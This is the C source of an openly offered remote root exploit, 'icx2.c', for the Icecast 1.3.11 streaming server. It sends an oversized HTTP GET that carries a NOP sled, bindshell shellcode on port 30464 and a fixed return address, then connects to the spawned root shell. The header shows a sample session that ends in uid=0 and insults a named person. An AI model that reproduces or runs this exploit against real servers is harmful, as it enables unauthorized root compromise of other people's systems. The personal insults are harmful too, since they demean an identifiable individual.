/* 
 * LAME REWRITE - LAME REWRITE - LAME REWRITE - LAME REWRITE - LAME REWRITE
 *
 * (stale, but was bored and thought I'd put out the proper version)
 * (bug selfishly slaughtered in may, this one is for the archives)
 *
 * icx2.c - remote shell/root sploit for icecast 1.3.11 (fixed back in may)
 * 
 * get icecast 1.3.12 at www.icecast.org, icecast is neat software
 * and any self respecting internet radio supporter should use it and
 * contribute to the project.
 *
 * icx2.c does it the proper way. I've had some complaints about
 * the child friendliness of the original exploit. w00ps. Here ya go.
 * you can send any further requests and questions to support@poundtemp.org 
 * 
 * Using the NOP space to the max and utilizing one hit wonder address
 * should be a one hit-n-go type deal requiring no offsetting nor
 * allignage. Provided you have the icecast servername. Which
 * is really the crucial factor here. These are good things seeing
 * how we only get one try :)
 * 
 * Now on to the obligatory rant...
 *
 * Let the record show that setient (setient@cma2600.org) 
 * is a nimwit *sad panda face*. Fair warning to anyone 
 * dealing with this little fraud. Don't believe a word
 * this slandering leprechaun says. Not even if he tries
 * to seduce you with promises of hosting/shells/"exotic"
 * hardware. Link of the day:
 * 
 * http://www.cryptonet.org/idiots/setient/setient.txt
 * 
 * Bitter much? Get over it. Move on. /exec -o uptime. Whatever. Sheesh. 
 *
 * much lub(e) to mah ruffnecks in #temp..bringin da ruckus like what
 * 
 * <setient> i bet they give each other sloppy seconds.
 * 
 * d4mn str8!$@%!
 *
 * diz
 * 
 * HERE BEGINS THE DREADED AND ALLTIME FAVORITE PORTION OF THE LAME REWRITE
 */

/*

(default config..so I'm lazy)

*snip*

[18/Jun/2002:19:04:01] Icecast Version 1.3.11 Starting..
[18/Jun/2002:19:04:01] Starting Admin Console Thread...

*snip*
 
-> [18/Jun/2002:19:04:01] Listening on port 8000...
-> [18/Jun/2002:19:04:01] Listening on port 8001...
-> [18/Jun/2002:19:04:01] Using 'your.server.name' as servername...

*snip*

diz@x:~/code> ./icx2 x 8000 your.server.name
sending string
.
.
.
sending string
$ uid=0(root) gid=0(root) groups=0(root) *snip*
$ Linux x 2.4.18 #1 Thu May 2 19:53:55 CEST 2002 i686 unknown
$ 

*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>

// need the ICECAST hostname to calc string length
// *snip* Using 'your.server.name' as servername...

#define ICECASTNAME 	"your.server.name"

// thanks to enormous amount of nop padding
// this middle of the road address should
// work on most linux boxen which is good
// cuz (normally) we only get one go

#define ONEHITWONDER	0xbeffe6ac

#define SLEEP		3

int opensock(char *hostname, int port);
int fsend(int sock, char *fmt, ...);
void handleshell(int sock);

char bindcode[] = // Taeho Oh, port 30464 bindcode
        "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
        "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
        "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
        "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
        "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
        "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
        "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
        "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
        "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
        "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
        "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
        "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";


int
main(int argc, char **argv)
{
	char *string;
	unsigned int size = 0, diff = 0, i;
	int sock;
	
	if(argc == 1) {
		fprintf(stderr, "icx (2) ... proper version ... diz\n");
		fprintf(stderr, "usage: %s <host> <icecast_port> [ <icecast_hostname> ]\n", argv[0]);	
		exit(1);
	}
	
	if(argc != 4) 
		diff = (strlen(ICECASTNAME)+strlen(argv[2]));
	else
		diff = (strlen(argv[3])+strlen(argv[2]));	

	size = (8198 - diff + 1);
	string = malloc(size);
	
	memset(string, 0x90, (size-8-strlen(bindcode)-1));
	memcpy(string+(size-strlen(bindcode)-8-1), bindcode, strlen(bindcode));
	*(long *)&string[size-9] = ONEHITWONDER;
	*(long *)&string[size-5] = ONEHITWONDER;
	string[size-1] = '\0';

	if((sock = opensock(argv[1], atoi(argv[2]))) < 0 ) 
		exit(1);

	fsend(sock, "GET %s HTTP/1.0\n\n", string);
	free(string);
	
	close(sock);
	
	// sploits need dots..everyone knows this...zzz
	for(i = 0; i < SLEEP; i++) {
		sleep(1);
		fprintf(stderr, ".\n");
	}
	
	// check bindshell
	if((sock = opensock(argv[1], 30464)) < 0 ) {
		fprintf(stderr, "attack not succesfull\n");
                exit(1);
	}	
	
	fsend(sock, "%s\n", "id; uname -a");  
	handleshell(sock);
	exit(0);	
}

int 
opensock(char *hostname, int port)
{
        struct sockaddr_in remote;
        struct hostent *iplookup;
        char *ipaddress;
        int sfd;

        if((iplookup = gethostbyname(hostname)) == NULL) {
                perror("gethostbyname");
                return -1;
        }

        ipaddress = (char *)inet_ntoa(*((struct in_addr *)iplookup->h_addr));
        sfd = socket(AF_INET, SOCK_STREAM, 0);

        remote.sin_family = AF_INET;
        remote.sin_addr.s_addr = inet_addr(ipaddress);
        remote.sin_port = htons(port);
        memset(&(remote.sin_zero), '\0', 8);

        if(connect(sfd, (struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) {
                perror("connect");
                return -1;
        }

        return sfd;
}

int 
fsend(int sock, char *fmt, ...)
{
        char sendbuf[8256];
        va_list args;


        memset(sendbuf, '\0', sizeof(sendbuf));

        va_start(args, fmt);
        vsnprintf(sendbuf, sizeof(sendbuf)-1, fmt, args);
        fprintf(stderr, "sending string\n");
        if(send(sock, sendbuf, strlen(sendbuf), 0) < 0) {
                        perror("send");
                        close(sock);
                        return -1;
        }
        va_end(args);
         
        return 1;
}

void 
handleshell(int sock)
{
        char inbuf[4096], outbuf[1024];

        fd_set fdset;
        fprintf(stderr, "$ ");

        while(1) {

                FD_ZERO(&fdset);
                FD_SET(fileno(stdin), &fdset);
                FD_SET(sock, &fdset);

                select(sock + 1, &fdset, NULL, NULL, NULL);

                if(FD_ISSET(fileno(stdin), &fdset)) {
                        memset(outbuf, '\0', sizeof(outbuf));
                        fgets(outbuf, sizeof(outbuf), stdin);
                        if(!strncmp(outbuf, "exit", 4)) {
				write(sock, outbuf, strlen(outbuf));
                                close(sock);
                                return;
                        }
                        if(write(sock, outbuf, strlen(outbuf)) < 0) {
                                fprintf(stderr, "write error\n");
                                return;
                        }
                }

                if(FD_ISSET(sock, &fdset)) {
                        memset(inbuf, '\0', sizeof(inbuf));
                        if(read(sock, inbuf, sizeof(inbuf)) < 0) {
                                fprintf(stderr, "read error\n");
                                return;
                        }
                        fputs(inbuf, stderr);
                        fprintf(stderr, "$ ");
                }
        }
}

